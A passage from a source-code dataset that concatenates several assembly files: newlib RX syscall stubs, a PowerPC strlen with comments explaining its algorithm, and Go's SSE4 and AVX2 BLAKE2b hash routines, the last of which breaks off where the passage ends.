OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" #define SYS_sleep 127 S(sleep)
32bitmicro/newlib-nano-1.0	1,515	libgloss/rx/gettimeofday.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(gettimeofday)
32bitmicro/newlib-nano-1.0	1,658	libgloss/rx/abort.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. / #include "rxsys.h" .global _abort _abort: / This is for debuggers. The simulator stops here too. / brk mov #42, r1 SYSCALL(SYS_kill) / Else, exit. */ bra.w __exit
32bitmicro/newlib-nano-1.0	1,508	libgloss/rx/chmod.S	/* Copyright (c) 2005 Red Hat Incorporated. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. The name of Red Hat Incorporated may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL RED HAT INCORPORATED BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "rxsys.h" S(chmod)

0xffea/MINIX3

4,686

common/lib/libc/arch/powerpc/string/strlen.S

/* $NetBSD: strlen.S,v 1.6 2011/01/15 07:31:12 matt Exp $ */ /*- * Copyright (C) 2001 Martin J. Laubach <mjl@NetBSD.org> * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /*----------------------------------------------------------------------*/ #include <machine/asm.h> __RCSID("$NetBSD: strlen.S,v 1.6 2011/01/15 07:31:12 matt Exp $"); /*----------------------------------------------------------------------*/ /* The algorithm here uses the following techniques: 1) Given a word 'x', we can test to see if it contains any 0 bytes by subtracting 0x01010101, and seeing if any of the high bits of each byte changed from 0 to 1. This works because the least significant 0 byte must have had no incoming carry (otherwise it's not the least significant), so it is 0x00 - 0x01 == 0xff. For all other byte values, either they have the high bit set initially, or when 1 is subtracted you get a value in the range 0x00-0x7f, none of which have their high bit set. The expression here is (x + 0xfefefeff) & ~(x | 0x7f7f7f7f), which gives 0x00000000 when there were no 0x00 bytes in the word. 2) Given a word 'x', we can test to see _which_ byte was zero by calculating ~(((x & 0x7f7f7f7f) + 0x7f7f7f7f) | x | 0x7f7f7f7f). This produces 0x80 in each byte that was zero, and 0x00 in all the other bytes. The '| 0x7f7f7f7f' clears the low 7 bits in each byte, and the '| x' part ensures that bytes with the high bit set produce 0x00. The addition will carry into the high bit of each byte iff that byte had one of its low 7 bits set. We can then just see which was the most significant bit set and divide by 8 to find how many to add to the index. This is from the book 'The PowerPC Compiler Writer's Guide', by Steve Hoxey, Faraydon Karim, Bill Hay and Hank Warren. */ /*----------------------------------------------------------------------*/ .text .align 4 ENTRY(strlen) /* Setup constants */ lis %r10, 0x7f7f lis %r9, 0xfefe ori %r10, %r10, 0x7f7f ori %r9, %r9, 0xfeff /* Mask out leading bytes on non aligned strings */ rlwinm. %r8, %r3, 3, 27, 28 /* leading bits to mask */ #ifdef _LP64 clrrdi %r5, %r3, 2 /* clear low 2 addr bits */ #else clrrwi %r5, %r3, 2 /* clear low 2 addr bits */ #endif li %r0, -1 beq+ 3f /* skip alignment if already */ /* aligned */ srw %r0, %r0, %r8 /* make 0000...1111 mask */ lwz %r7, 0(%r5) nor %r0, %r0, %r0 /* invert mask */ or %r7, %r7, %r0 /* make leading bytes != 0 */ b 2f 3: subi %r5, %r5, 4 1: lwzu %r7, 4(%r5) /* fetch data word */ 2: nor %r0, %r7, %r10 /* do step 1 */ add %r6, %r7, %r9 and. %r0, %r0, %r6 beq+ 1b /* no NUL bytes here */ and %r8, %r7, %r10 /* ok, a NUL is somewhere */ or %r7, %r7, %r10 /* do step 2 to find out */ add %r0, %r8, %r10 /* where */ nor %r8, %r7, %r0 cntlzw %r0, %r8 /* offset from this word */ srwi %r4, %r0, 3 add %r4, %r5, %r4 /* r4 contains end pointer */ /* NOTE: Keep it so this function returns the end pointer in r4, so we can it use from other str* calls (strcat comes to mind */ subf %r3, %r3, %r4 blr END(strlen) /*----------------------------------------------------------------------*/

0xPolygon/bor

7,684

crypto/blake2b/blake2b_amd64.s

// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build amd64,!gccgo,!appengine #include "textflag.h" DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16 DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16 DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16 DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16 DATA ·c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·c40<>(SB), (NOPTR+RODATA), $16 DATA ·c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·c48<>(SB), (NOPTR+RODATA), $16 #define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v6, t1; \ PUNPCKLQDQ v6, t2; \ PUNPCKHQDQ v7, v6; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ v7, t2; \ MOVO t1, v7; \ MOVO v2, t1; \ PUNPCKHQDQ t2, v7; \ PUNPCKLQDQ v3, t2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v3 #define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v2, t1; \ PUNPCKLQDQ v2, t2; \ PUNPCKHQDQ v3, v2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ v3, t2; \ MOVO t1, v3; \ MOVO v6, t1; \ PUNPCKHQDQ t2, v3; \ PUNPCKLQDQ v7, t2; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v7 #define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ PADDQ m0, v0; \ PADDQ m1, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFD $0xB1, v6, v6; \ PSHUFD $0xB1, v7, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ PSHUFB c40, v2; \ PSHUFB c40, v3; \ PADDQ m2, v0; \ PADDQ m3, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFB c48, v6; \ PSHUFB c48, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ MOVOU v2, t0; \ PADDQ v2, t0; \ PSRLQ $63, v2; \ PXOR t0, v2; \ MOVOU v3, t0; \ PADDQ v3, t0; \ PSRLQ $63, v3; \ PXOR t0, v3 #define LOAD_MSG(m0, m1, m2, m3, i0, i1, i2, i3, i4, i5, i6, i7) \ MOVQ i0*8(SI), m0; \ PINSRQ $1, i1*8(SI), m0; \ MOVQ i2*8(SI), m1; \ PINSRQ $1, i3*8(SI), m1; \ MOVQ i4*8(SI), m2; \ PINSRQ $1, i5*8(SI), m2; \ MOVQ i6*8(SI), m3; \ PINSRQ $1, i7*8(SI), m3 // func fSSE4(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fSSE4(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP MOVOU ·iv3<>(SB), X0 MOVO X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·iv3 ^ (CX || 0) MOVOU ·c40<>(SB), X13 MOVOU ·c48<>(SB), X14 MOVOU 0(AX), X12 MOVOU 16(AX), X15 MOVQ R8, X8 PINSRQ $1, R9, X8 MOVO X12, X0 MOVO X15, X1 MOVOU 32(AX), X2 MOVOU 48(AX), X3 MOVOU ·iv0<>(SB), X4 MOVOU ·iv1<>(SB), X5 MOVOU ·iv2<>(SB), X6 PXOR X8, X6 MOVO 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 0, 2, 4, 6, 1, 3, 5, 7) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 1, 0, 11, 5, 12, 2, 7, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 11, 12, 5, 15, 8, 0, 2, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 2, 5, 4, 15, 6, 10, 0, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 9, 5, 2, 10, 0, 7, 4, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 2, 6, 0, 8, 12, 10, 11, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 0, 6, 9, 8, 7, 3, 2, 11) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 5, 15, 8, 2, 0, 4, 6, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 6, 14, 11, 0, 15, 9, 3, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 12, 13, 1, 10, 2, 7, 4, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 15, 9, 3, 13, 11, 14, 12, 0) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) JMP loop done: MOVOU 32(AX), X10 MOVOU 48(AX), X11 PXOR X0, X12 PXOR X1, X15 PXOR X2, X10 PXOR X3, X11 PXOR X4, X12 PXOR X5, X15 PXOR X6, X10 PXOR X7, X11 MOVOU X10, 32(AX) MOVOU X11, 48(AX) MOVOU X12, 0(AX) MOVOU X15, 16(AX) MOVQ BP, SP RET

0xPolygon/bor

23,301

crypto/blake2b/blake2bAVX2_amd64.s

// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.7,amd64,!gccgo,!appengine #include "textflag.h" DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32 DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16 #define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39 #define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93 #define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e #define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93 #define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39 #define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \ VPADDQ m0, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m1, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y1_Y1; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y3_Y3; \ VPADDQ m2, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m3, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y3_Y3; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y1_Y1 #define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E #define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26 #define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E #define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36 #define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E #define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n #define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n #define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n #define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n #define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n #define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01 #define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01 #define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01 #define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01 #define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01 #define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01 #define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8 #define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01 // load msg: Y12 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y12, Y12 // load msg: Y13 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \ VMOVQ_SI_X13(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X13(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y13, Y13 // load msg: Y14 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \ VMOVQ_SI_X14(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X14(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y14, Y14 // load 